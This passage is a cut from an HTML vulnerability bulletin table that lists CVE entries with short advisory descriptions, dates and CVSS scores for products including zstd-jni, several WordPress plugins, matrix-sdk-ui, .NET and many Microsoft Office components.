&lt;td&gt;zstd-jni versions 1.4.8-4 through 1.5.7-13 fail to validate negative length parameters in ZstdInputStreamNoFinalizer.read(), allowing attackers to trigger infinite loops. Attackers can pass negative length values to cause the read method to spin indefinitely while holding the stream monitor, blocking all other threads from accessing the stream.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89045&quot; target=&quot;_blank&quot;&gt;CVE-2026-89045&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LuxSoft--LuxCal Web Calendar&lt;/td&gt;
&lt;td&gt;A SQL Injection vulnerability exists in LuxSoft LuxCal through 5.3.4L via rssfeed.php and common/retrieve.php.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36989&quot; target=&quot;_blank&quot;&gt;CVE-2026-36989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Magepeople inc.--WpEvently&lt;/td&gt;
&lt;td&gt;Unauthenticated Insecure Direct Object References (IDOR) in WpEvently &amp;lt;= 5.6.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81802&quot; target=&quot;_blank&quot;&gt;CVE-2026-81802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;magepeopleteam--Deposits and Partial Payments for WooCommerce&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Deposits and Partial Payments for WooCommerce &amp;lt;= 3.1.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27378&quot; target=&quot;_blank&quot;&gt;CVE-2026-27378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;masteriyo--Masteriyo - LMS&lt;/td&gt;
&lt;td&gt;Subscriber Broken Access Control in Masteriyo - LMS &amp;lt;= 3.4.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62132&quot; target=&quot;_blank&quot;&gt;CVE-2026-62132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;masteriyo--Masteriyo LMS LMS Course Builder, Quizzes &amp;amp; Certificates&lt;/td&gt;
&lt;td&gt;The Masteriyo LMS plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the &#039;delete_item_permissions_check&#039; function in the CourseProgressItemsController in all versions up to, and including, 2.2.0. This makes it possible for unauthenticated attackers to delete arbitrary course progress records belonging to any student.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8279&quot; target=&quot;_blank&quot;&gt;CVE-2026-8279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;matrix-org--matrix-sdk-ui&lt;/td&gt;
&lt;td&gt;matrix-sdk-ui provides GUI-centric utilities on top of matrix-rust-sdk. The message edit validation logic in the `matrix-sdk-ui` crate prior to 0.17.0 is missing a check: when replacing an encrypted event, the replacement event itself is not required to be encrypted. This enables a malicious homeserver administrators (or actors with equivalent power) to impersonate or spoof messages as if they were sent by a victim user. `matrix-sdk-ui` 0.17.0 fixes the message edit validation logic to align with the algorithm for replacement events[^1] described in the Matrix specification. No known workarounds are available.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45057&quot; target=&quot;_blank&quot;&gt;CVE-2026-45057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MaxSite--MaxSite CMS&lt;/td&gt;
&lt;td&gt;MaxSite CMS versions 0.94 through 109.6 contain a cross-site scripting vulnerability in the admin_page upload handler that allows any logged-in user to upload HTML files. Attackers can upload HTML containing malicious scripts to the uploads/_pages/ directory, which executes in visitors&#039; browsers when the file is accessed, enabling persistent stored cross-site scripting attacks.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87928&quot; target=&quot;_blank&quot;&gt;CVE-2026-87928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;melograno--Booking for Appointments and Events Calendar Amelia&lt;/td&gt;
&lt;td&gt;The Booking for Appointments and Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple Elementor widgets in versions up to and including 2.4.9. This is due to insufficient input sanitization and output escaping on the &#039;load_manually&#039; parameter in the render() methods of classes. This makes it possible for authenticated attackers, with Contributor-level access and above who can use Elementor, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability was partially patched in version 2.4.8.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10148&quot; target=&quot;_blank&quot;&gt;CVE-2026-10148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MetForm--MetForm&lt;/td&gt;
&lt;td&gt;The MetForm WordPress plugin before 4.1.9 does not properly neutralize newline characters in user-submitted values that are placed into notification email headers, allowing unauthenticated attackers to inject additional email headers, such as Bcc, into the emails the site sends when a submitted field value is configured to populate a header.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86813&quot; target=&quot;_blank&quot;&gt;CVE-2026-86813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--.NET 10.0&lt;/td&gt;
&lt;td&gt;Origin validation error in .NET allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58649&quot; target=&quot;_blank&quot;&gt;CVE-2026-58649&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--.NET 10.0&lt;/td&gt;
&lt;td&gt;Improper handling of highly compressed data (data amplification) in ASP.NET Core allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69304&quot; target=&quot;_blank&quot;&gt;CVE-2026-69304&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Insufficiently protected credentials in Microsoft Office allows an unauthorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64918&quot; target=&quot;_blank&quot;&gt;CVE-2026-64918&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Buffer over-read in Microsoft Office allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69626&quot; target=&quot;_blank&quot;&gt;CVE-2026-69626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Buffer over-read in Microsoft Office Word allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69719&quot; target=&quot;_blank&quot;&gt;CVE-2026-69719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Microsoft Office Word allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69734&quot; target=&quot;_blank&quot;&gt;CVE-2026-69734&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69739&quot; target=&quot;_blank&quot;&gt;CVE-2026-69739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Access of resource using incompatible type (&#039;type confusion&#039;) in Microsoft Office PowerPoint allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72938&quot; target=&quot;_blank&quot;&gt;CVE-2026-72938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Microsoft Office PowerPoint allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72956&quot; target=&quot;_blank&quot;&gt;CVE-2026-72956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Buffer over-read in Microsoft Office Excel allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72974&quot; target=&quot;_blank&quot;&gt;CVE-2026-72974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office PowerPoint allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72975&quot; target=&quot;_blank&quot;&gt;CVE-2026-72975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office PowerPoint allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72977&quot; target=&quot;_blank&quot;&gt;CVE-2026-72977&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77911&quot; target=&quot;_blank&quot;&gt;CVE-2026-77911&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78502&quot; target=&quot;_blank&quot;&gt;CVE-2026-78502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78503&quot; target=&quot;_blank&quot;&gt;CVE-2026-78503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78515&quot; target=&quot;_blank&quot;&gt;CVE-2026-78515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78520&quot; target=&quot;_blank&quot;&gt;CVE-2026-78520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78522&quot; target=&quot;_blank&quot;&gt;CVE-2026-78522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Outlook allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80073&quot; target=&quot;_blank&quot;&gt;CVE-2026-80073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80076&quot; target=&quot;_blank&quot;&gt;CVE-2026-80076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80078&quot; target=&quot;_blank&quot;&gt;CVE-2026-80078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80079&quot; target=&quot;_blank&quot;&gt;CVE-2026-80079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80082&quot; target=&quot;_blank&quot;&gt;CVE-2026-80082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Outlook allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80084&quot; target=&quot;_blank&quot;&gt;CVE-2026-80084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office PowerPoint allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80086&quot; target=&quot;_blank&quot;&gt;CVE-2026-80086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80087&quot; target=&quot;_blank&quot;&gt;CVE-2026-80087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80088&quot; target=&quot;_blank&quot;&gt;CVE-2026-80088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80089&quot; target=&quot;_blank&quot;&gt;CVE-2026-80089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80090&quot; target=&quot;_blank&quot;&gt;CVE-2026-80090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Microsoft Office allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80091&quot; target=&quot;_blank&quot;&gt;CVE-2026-80091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Word allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72976&quot; target=&quot;_blank&quot;&gt;CVE-2026-72976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Improper null termination in Microsoft Office Word allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78506&quot; target=&quot;_blank&quot;&gt;CVE-2026-78506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office PowerPoint allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78513&quot; target=&quot;_blank&quot;&gt;CVE-2026-78513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Exposure of sensitive system information to an unauthorized control sphere in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81387&quot; target=&quot;_blank&quot;&gt;CVE-2026-81387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81390&quot; target=&quot;_blank&quot;&gt;CVE-2026-81390&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81391&quot; target=&quot;_blank&quot;&gt;CVE-2026-81391&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81392&quot; target=&quot;_blank&quot;&gt;CVE-2026-81392&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81393&quot; target=&quot;_blank&quot;&gt;CVE-2026-81393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Exposure of sensitive system information to an unauthorized control sphere in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81394&quot; target=&quot;_blank&quot;&gt;CVE-2026-81394&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
